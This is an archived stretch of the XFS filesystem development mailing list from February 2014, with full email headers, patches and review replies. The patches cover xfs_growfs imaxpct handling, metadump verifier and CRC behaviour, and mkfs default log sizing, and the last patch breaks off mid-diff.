X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 524897F3F for ; Thu, 27 Feb 2014 17:28:59 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 45C31304032 for ; Thu, 27 Feb 2014 15:28:55 -0800 (PST) X-ASG-Debug-ID: 1393543725-04cbb066e7db010001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2yqk8xlWfWvYmUeU for ; Thu, 27 Feb 2014 15:28:45 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1RNSjZd024914 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 27 Feb 2014 18:28:45 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1RNSiG1013289 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Thu, 27 Feb 2014 18:28:44 -0500 Message-ID: <530FCA2C.8090204@redhat.com> Date: Thu, 27 Feb 2014 17:28:44 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs_growfs: don't grow data if only -m is specified X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs_growfs: don't grow data if only -m is specified Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393543725 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com While writing an xfstest to check imaxpct behavior, I realized that xfs_growfs -m XXX /mnt/point will not only change imaxpct, but also grow the filesystem if it's not currently occupying the entire block device. This doesn't seem like the expected behavior, so split it out such that if only -m, and not -d, is specified, only the imaxpct will be changed. This is a change from previous behavior, but I think it satisfies the principle of least surprise... Signed-off-by: Eric Sandeen --- diff --git a/growfs/xfs_growfs.c b/growfs/xfs_growfs.c index 2df68fb..fb7eda8 100644 --- a/growfs/xfs_growfs.c +++ b/growfs/xfs_growfs.c @@ -189,7 +189,7 @@ main(int argc, char **argv) usage(); if (iflag && xflag) usage(); - if (dflag + lflag + rflag == 0) + if (dflag + lflag + rflag + mflag == 0) aflag = 1; fs_table_initialise(0, NULL, 0, NULL); @@ -305,12 +305,15 @@ main(int argc, char **argv) drsize -= (drsize % 2); error = 0; - if (dflag | aflag) { + + if (dflag | mflag | aflag) { xfs_growfs_data_t in; if (!mflag) maxpct = geo.imaxpct; - if (!dsize) + if (!dflag && !aflag) /* Only mflag, no data size change */ + dsize = geo.datablocks; + else if (!dsize) dsize = ddsize / (geo.blocksize / BBSIZE); else if (dsize > ddsize / (geo.blocksize / BBSIZE)) { fprintf(stderr, _( From dave@fromorbit.com Thu Feb 27 18:54:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AD1D27F3F for ; Thu, 27 Feb 2014 18:54:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 808BE304059 for ; Thu, 27 Feb 2014 16:54:05 -0800 (PST) X-ASG-Debug-ID: 1393548839-04bdf05dabe4460001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id OQmy07w35hCfBuw7 for ; Thu, 27 Feb 2014 16:53:59 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjRQAL3dD1N5LJYePGdsb2JhbABagwaIT7pqFwMBAQEBHxkNKIIlAS0vOxhqAwcth3ibRLAajnKEIQSuIyg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 11:23:48 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WJBhx-0001eZ-QE for xfs@oss.sgi.com; Fri, 28 Feb 2014 11:53:45 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WJBhx-0004Ij-Ow for xfs@oss.sgi.com; Fri, 28 Feb 2014 11:53:45 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] metadump: don't verify metadata being dumped Date: Fri, 28 Feb 2014 11:53:45 +1100 X-ASG-Orig-Subj: [PATCH] metadump: don't verify metadata being dumped Message-Id: <1393548825-16499-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393548839 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145585 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The discontiguous buffer support series added a verifier check on the metadata buffers before they go written to the metadump image. If this failed, it returned an error, and the restul woul dbe that we stopped processing the metadata and exited, resulting in a truncated dump. xfs_metadump is supposed to dump the metadata in the filesystem for forensic analysis purposes, which means we actually want it to retain any corruptions it finds in the filesystem. Hence running the verifier - even to recalculate CRCs - is the wrong thing to be doing. And stopping the dum pwhen we come across an error is even worse. Therefore remove the code tha truns the verifier and causes all these problems and replace it with a comment explaining why we don't want to run verifiers in the metadump process. Signed-off-by: Dave Chinner --- db/metadump.c | 23 +++++++---------------- 1 file changed, 7 insertions(+), 16 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index 5baf83d..c10e76a 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -190,6 +190,13 @@ write_buf_segment( return 0; } +/* + * we want to preserve the state of the metadata in the dump - whether it is + * intact or corrupt, so even if the buffer has a verifier attached to it we + * don't want to run it prior to writing the buffer to the metadump image. + * Even just recalculating the CRCs is the wrong thing to do here as it can + * hide errors that only the CRCs were detecting. + */ static int write_buf( iocur_t *buf) @@ -197,22 +204,6 @@ write_buf( int i; int ret; - /* - * Run the write verifier to recalculate the buffer CRCs and check - * we are writing something valid to disk - */ - if (buf->bp && buf->bp->b_ops) { - buf->bp->b_error = 0; - buf->bp->b_ops->verify_write(buf->bp); - if (buf->bp->b_error) { - fprintf(stderr, - _("%s: write verifer failed on bno 0x%llx/0x%x\n"), - __func__, (long long)buf->bp->b_bn, - buf->bp->b_bcount); - return -buf->bp->b_error; - } - } - /* handle discontiguous buffers */ if (!buf->bbmap) { ret = write_buf_segment(buf->data, buf->bb, buf->blen); -- 1.9.0 From david@fromorbit.com Thu Feb 27 19:04:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B93327F3F for ; Thu, 27 Feb 2014 19:04:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7A5D58F8039 for ; Thu, 27 Feb 2014 17:04:03 -0800 (PST) X-ASG-Debug-ID: 1393549435-04cb6c5676dd050001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id H4zZ1UZ8Yo5YFUEo for ; Thu, 27 Feb 2014 17:03:56 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Arh5ABrgD1N5LJYePGdsb2JhbABagwaDQ4UMs32FVoEXFwMBAQEBHxkNKIIlAQEFOhwjEAgDFQMJDBkPBSUDBxoTh3jLSRcWjj8HCoQtBJg3lWwo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 11:33:26 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJBrH-0001gK-Ub; Fri, 28 Feb 2014 12:03:24 +1100 Date: Fri, 28 Feb 2014 12:03:23 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] mkfs: default log size for small filesystems too large Message-ID: <20140228010323.GG30131@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] mkfs: default log size for small filesystems too large References: <1393494344-30056-1-git-send-email-david@fromorbit.com> <1393494344-30056-2-git-send-email-david@fromorbit.com> <530FBC2F.4070301@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530FBC2F.4070301@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393549436 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145585 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 27, 2014 at 04:29:03PM -0600, Eric Sandeen wrote: > On 2/27/14, 3:45 AM, Dave Chinner wrote: > > From: Dave Chinner > > > > Recent changes to the log size scaling have resulted in using the > > default size multiplier for the log size even on small filesystems. > > Commit 88cd79b ("xfs: Add xfs_log_rlimit.c") changed the calculation > > of the maximum transaction size that the kernel would issues and > > that significantly increased the minimum size of the default log. > > As such the size of the log on small filesystems was typically > > larger than the prefious default, even though the previous default > > was still larger than the minimum needed. > > > > Rework the default log size calculation such that it will use the > > original log size default if it is larger than the minimum log size > > required, and only use a larger log if the configuration of the > > filesystem requires it. > > > > This is especially obvious in xfs/216, where the default log size is > > 10MB all the way up to 16GB filesystems. The current mkfs selects a > > log size of 50MB for the same size filesystems and this is > > unnecessarily large. > > > > Return the scaling of the log size for small filesystems to > > something similar to what xfs/216 expects. > > I can confirm that this fixes xfs/216, but I've lost the thread on > why log size scaling was changed at all in 88cd79b, and why we now > end up with something different in mkfs.xfs than what we originally > had.... Are there resulting functional changes? Cosmetic? What's > going on with log scaling, and who moved my cheese? :) tl;dr: I screwed up with the original change that caused the log size to increase. It wasn't caught by review, it caused quite a few problems for xfstests, and some of the things it was doing made no sense. So this patch is reverting the behaviour back to -almost- the same as the 3.1.x series. The only difference is that now the minimum log size takes into account sunit padding on log writes IOWs, the log sizes should be identical to 3.1.x for filesystems with lsu=0 and that's why tests like xfs/216 pass again.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 27 19:19:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CEB337F3F for ; Thu, 27 Feb 2014 19:19:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 542A8AC003 for ; Thu, 27 Feb 2014 17:19:17 -0800 (PST) X-ASG-Debug-ID: 1393550352-04cbb066e4e0db0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 1WHJuGJErlbYpAUc for ; Thu, 27 Feb 2014 17:19:12 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArV5AJzjD1N5LJYePGdsb2JhbABagwaDQ4UMs32FVoEXFwMBAQEBHxkNKIIlAQEFOhwjEAgDGAklDwUlAwcaE4d4y0sXFo4/B4Q3BJg3ilWLFyg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 11:49:03 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJC6Q-0001i9-0K; Fri, 28 Feb 2014 12:19:02 +1100 Date: Fri, 28 Feb 2014 12:19:01 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs_growfs: don't grow data if only -m is specified Message-ID: <20140228011901.GH30131@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_growfs: don't grow data if only -m is specified References: <530FCA2C.8090204@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530FCA2C.8090204@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393550352 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145586 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 27, 2014 at 05:28:44PM -0600, Eric Sandeen wrote: > While writing an xfstest to check imaxpct behavior, I realized > that xfs_growfs -m XXX /mnt/point will not only change > imaxpct, but also grow the filesystem if it's not currently > occupying the entire block device. This doesn't seem like > the expected behavior, so split it out such that if only > -m, and not -d, is specified, only the imaxpct will be > changed. > > This is a change from previous behavior, but I think it > satisfies the principle of least surprise... Seems reasonable to me. Code looks good, too. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Thu Feb 27 19:43:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EB6CF7F3F for ; Thu, 27 Feb 2014 19:43:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D9F4D304070 for ; Thu, 27 Feb 2014 17:43:43 -0800 (PST) X-ASG-Debug-ID: 1393551822-04cbb066e6e2070001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id bPkoALCrgHVqdiEp for ; Thu, 27 Feb 2014 17:43:42 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C9D9463C59A4; Thu, 27 Feb 2014 19:43:41 -0600 (CST) Message-ID: <530FE9CD.4000701@sandeen.net> Date: Thu, 27 Feb 2014 19:43:41 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH] metadump: don't verify metadata being dumped References: <1393548825-16499-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH] metadump: don't verify metadata being dumped In-Reply-To: <1393548825-16499-1-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393551822 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145586 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/27/14, 6:53 PM, Dave Chinner wrote: > From: Dave Chinner > > The discontiguous buffer support series added a verifier check on > the metadata buffers before they go written to the metadump image. > If this failed, it returned an error, and the restul woul dbe that > we stopped processing the metadata and exited, resulting in a > truncated dump. > > xfs_metadump is supposed to dump the metadata in the filesystem > for forensic analysis purposes, which means we actually want it to > retain any corruptions it finds in the filesystem. Hence running the > verifier - even to recalculate CRCs - is the wrong thing to be > doing. And stopping the dum pwhen we come across an error is even > worse. > > Therefore remove the code tha truns the verifier and causes all > these problems and replace it with a comment explaining why we don't > want to run verifiers in the metadump process. This leaves the net functional change from 8ab75c db: enable metadump on CRC filesystems as: @@ -1727,6 +1743,9 @@ copy_inode_chunk( if (!process_inode(agno, agino + i, dip)) goto pop_out; + + /* calculate the new CRC for the inode */ + xfs_dinode_calc_crc(mp, dip); } skip_processing: if (!write_buf(iocur_top)) which seems a) minimal, but also b) like we shouldn't be recalculating CRCs if the point is to copy out existing fs state...? OTOH if we're obfuscating, we would HAVE to recalculate CRCs, but then would lose the info that the CRC was bad before. So probably should skip CRC recalculating if the original CRC was bad, in the obfuscating case? Maybe this patch stands ok on its own but it seems like there's more work to do. :) -Eric > Signed-off-by: Dave Chinner > --- > db/metadump.c | 23 +++++++---------------- > 1 file changed, 7 insertions(+), 16 deletions(-) > > diff --git a/db/metadump.c b/db/metadump.c > index 5baf83d..c10e76a 100644 > --- a/db/metadump.c > +++ b/db/metadump.c > @@ -190,6 +190,13 @@ write_buf_segment( > return 0; > } > > +/* > + * we want to preserve the state of the metadata in the dump - whether it is > + * intact or corrupt, so even if the buffer has a verifier attached to it we > + * don't want to run it prior to writing the buffer to the metadump image. > + * Even just recalculating the CRCs is the wrong thing to do here as it can > + * hide errors that only the CRCs were detecting. > + */ > static int > write_buf( > iocur_t *buf) > @@ -197,22 +204,6 @@ write_buf( > int i; > int ret; > > - /* > - * Run the write verifier to recalculate the buffer CRCs and check > - * we are writing something valid to disk > - */ > - if (buf->bp && buf->bp->b_ops) { > - buf->bp->b_error = 0; > - buf->bp->b_ops->verify_write(buf->bp); > - if (buf->bp->b_error) { > - fprintf(stderr, > - _("%s: write verifer failed on bno 0x%llx/0x%x\n"), > - __func__, (long long)buf->bp->b_bn, > - buf->bp->b_bcount); > - return -buf->bp->b_error; > - } > - } > - > /* handle discontiguous buffers */ > if (!buf->bbmap) { > ret = write_buf_segment(buf->data, buf->bb, buf->blen); > From david@fromorbit.com Thu Feb 27 19:57:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EF6F77F3F for ; Thu, 27 Feb 2014 19:57:04 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D74C430406B for ; Thu, 27 Feb 2014 17:57:04 -0800 (PST) X-ASG-Debug-ID: 1393552622-04cbb066e4e2ac0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id VK8NImeiKvYifpdq for ; Thu, 27 Feb 2014 17:57:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Arl5AADsD1N5LJYePGdsb2JhbABagwaDQ4UMs32FVoEWFwMBAQEBHxkNKIIlAQEEATocIwULCAMVAwklDwUlAwcaE4dxB8tKFxaOPweENwSYN5VsKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 12:27:02 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJChB-0001mZ-Dg; Fri, 28 Feb 2014 12:57:01 +1100 Date: Fri, 28 Feb 2014 12:57:01 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH] metadump: don't verify metadata being dumped Message-ID: <20140228015701.GI30131@dastard> X-ASG-Orig-Subj: Re: [PATCH] metadump: don't verify metadata being dumped References: <1393548825-16499-1-git-send-email-david@fromorbit.com> <530FE9CD.4000701@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530FE9CD.4000701@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393552622 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145588 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 27, 2014 at 07:43:41PM -0600, Eric Sandeen wrote: > On 2/27/14, 6:53 PM, Dave Chinner wrote: > > From: Dave Chinner > > > > The discontiguous buffer support series added a verifier check on > > the metadata buffers before they go written to the metadump image. > > If this failed, it returned an error, and the restul woul dbe that > > we stopped processing the metadata and exited, resulting in a > > truncated dump. > > > > xfs_metadump is supposed to dump the metadata in the filesystem > > for forensic analysis purposes, which means we actually want it to > > retain any corruptions it finds in the filesystem. Hence running the > > verifier - even to recalculate CRCs - is the wrong thing to be > > doing. And stopping the dum pwhen we come across an error is even > > worse. > > > > Therefore remove the code tha truns the verifier and causes all > > these problems and replace it with a comment explaining why we don't > > want to run verifiers in the metadump process. > > This leaves the net functional change from > 8ab75c db: enable metadump on CRC filesystems > as: > > @@ -1727,6 +1743,9 @@ copy_inode_chunk( > > if (!process_inode(agno, agino + i, dip)) > goto pop_out; > + > + /* calculate the new CRC for the inode */ > + xfs_dinode_calc_crc(mp, dip); > } > skip_processing: > if (!write_buf(iocur_top)) > > which seems a) minimal, but also b) like we shouldn't be recalculating > CRCs if the point is to copy out existing fs state...? > > OTOH if we're obfuscating, we would HAVE to recalculate CRCs, > but then would lose the info that the CRC was bad before. > > So probably should skip CRC recalculating if the original CRC > was bad, in the obfuscating case? Yeah, you are right - I wasn't thinking of the obfuscation case changing the metadata.... > Maybe this patch stands ok on its own but it seems like there's > more work to do. :) I'll rework it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 27 20:51:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B84F87F3F for ; Thu, 27 Feb 2014 20:51:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A723F304070 for ; Thu, 27 Feb 2014 18:51:45 -0800 (PST) X-ASG-Debug-ID: 1393555903-04cbb066e4e56e0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id nN50kLgUFM9sdpxQ for ; Thu, 27 Feb 2014 18:51:43 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArN5AOz4D1N5LJYePGdsb2JhbABagwaDQ4UMs3yFVoETFwMBAQEBHxkNKIIlAQEFJxMcMwgYDCUPBSUDBy2HeMtkFo5GhDcEmDeVbCg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 13:21:42 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJDY2-0001wS-Vb for xfs@oss.sgi.com; Fri, 28 Feb 2014 13:51:39 +1100 Date: Fri, 28 Feb 2014 13:51:38 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH, V2] metadump: don't verify metadata being dumped Message-ID: <20140228025138.GJ30131@dastard> X-ASG-Orig-Subj: [PATCH, V2] metadump: don't verify metadata being dumped References: <1393548825-16499-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393548825-16499-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393555903 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145589 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- metadump: don't verify metadata being dumped From: Dave Chinner The discontiguous buffer support series added a verifier check on the metadata buffers before they go written to the metadump image. If this failed, it returned an error, and the restul woul dbe that we stopped processing the metadata and exited, resulting in a truncated dump. xfs_metadump is supposed to dump the metadata in the filesystem for forensic analysis purposes, which means we actually want it to retain any corruptions it finds in the filesystem. Hence running the verifier - even to recalculate CRCs - when the metadata is unmodified is the wrong thing to be doing. And stopping the dump when we come across an error is even worse. We still need to do CRC recalculation when obfuscating names and attributes. Hence we need to make running the verifier conditional on the buffer or inode: a) being uncorrupted when read, and b) modified by the obfuscation code. If either of these conditions is not true, then we don't run the verifier or recalculate the CRCs. Signed-off-by: Dave Chinner --- V2: run verifiers on buffers and inodes modified by obfuscation, but only if they are not corrupt before obfuscation. Thanks, Eric! db/io.h | 1 + db/metadump.c | 57 ++++++++++++++++++++++++++++++++++++++++++++------------- 2 files changed, 45 insertions(+), 13 deletions(-) diff --git a/db/io.h b/db/io.h index 4f24c83..d8cf383 100644 --- a/db/io.h +++ b/db/io.h @@ -41,6 +41,7 @@ typedef struct iocur { int ino_crc_ok:1; int ino_buf:1; int dquot_buf:1; + int need_crc:1; } iocur_t; #define DB_RING_ADD 1 